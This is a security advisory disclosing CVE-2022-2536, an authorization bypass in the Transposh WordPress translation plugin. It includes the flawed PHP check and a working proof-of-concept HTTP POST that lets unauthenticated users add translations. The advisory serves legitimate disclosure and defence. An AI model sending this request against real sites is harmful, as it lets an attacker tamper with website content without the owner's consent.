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advisories/CVEs/CVE-2022-2536.txt
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| RCE Security Advisory | |
| https://www.rcesecurity.com | |
| 1. ADVISORY INFORMATION | |
| ======================= | |
| Product: Transposh WordPress Translation | |
| Vendor URL: https://wordpress.org/plugins/transposh-translation-filter-for-wordpress/ | |
| Type: Incorrect Authorization [CWE-863] | |
| Date found: 2022-07-23 | |
| Date published: 2022-08-16 | |
| CVSSv3 Score: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N) | |
| CVE: CVE-2022-2536 | |
| 2. CREDITS | |
| ========== | |
| This vulnerability was discovered and researched by Julien Ahrens from | |
| RCE Security. | |
| 3. VERSIONS AFFECTED | |
| ==================== | |
| Transposh WordPress Translation 1.0.8.1 and below | |
| 4. INTRODUCTION | |
| =============== | |
| Transposh translation filter for WordPress offers a unique approach to blog | |
| translation. It allows your blog to combine automatic translation with human | |
| translation aided by your users with an easy to use in-context interface. | |
| (from the vendor's homepage) | |
| 5. VULNERABILITY DETAILS | |
| ======================== | |
| When installed, Transposh comes with a set of pre-configured options; one of these | |
| is the "Who can translate" setting under the "Settings" tab. However, this option | |
| is ignored if Transposh has enabled its "autotranslate" feature (it's enabled by | |
| default) and the HTTP POST parameter "sr0" is larger than 0. This is caused by a | |
| faulty validation in "wp/transposh_db.php": | |
| if (!$by && !($all_editable && | |
| ($this->transposh->is_translator() || ($source > 0 && $this->transposh->options->enable_autotranslate)))) { | |
| tp_logger("Unauthorized translation attempt " . $_SERVER['REMOTE_ADDR'], 1); | |
| header("HTTP/1.0 401 Unauthorized translation"); | |
| exit; | |
| } | |
| Successful exploits can allow an unauthenticated attacker to bypass the Transposh | |
| permissions and add translations to the WordPress site, thereby influencing what | |
| is shown on the site. However, this only affects new translations. | |
| 6. PROOF OF CONCEPT | |
| =================== | |
| The following Proof-of-Concept adds a new translation | |
| POST /wp-admin/admin-ajax.php HTTP/1.1 | |
| Host: [host] | |
| Content-Length: 74 | |
| Content-Type: application/x-www-form-urlencoded; charset=UTF-8 | |
| User-Agent: Mozilla/5.0 | |
| Connection: close | |
| action=tp_translation&ln0=en&sr0=1&items=1&tk0=translation&tr0=translation | |
| 7. SOLUTION | |
| =========== | |
| None. Remove the plugin to prevent exploitation. | |
| 8. REPORT TIMELINE | |
| ================== | |
| 2022-07-23: Discovery of the vulnerability | |
| 2022-07-23: CVE requested from Wordfence (CNA) | |
| 2022-07-25: Wordfence assigns CVE-2022-2536 | |
| 2022-08-09: Sent note to vendor | |
| 2022-08-09: Vendor is aware of this bug, but there is no plan to fix it yet | |
| 2022-08-16: Public Disclosure | |
| 9. REFERENCES | |
| ============= | |
| https://github.com/MrTuxracer/advisories |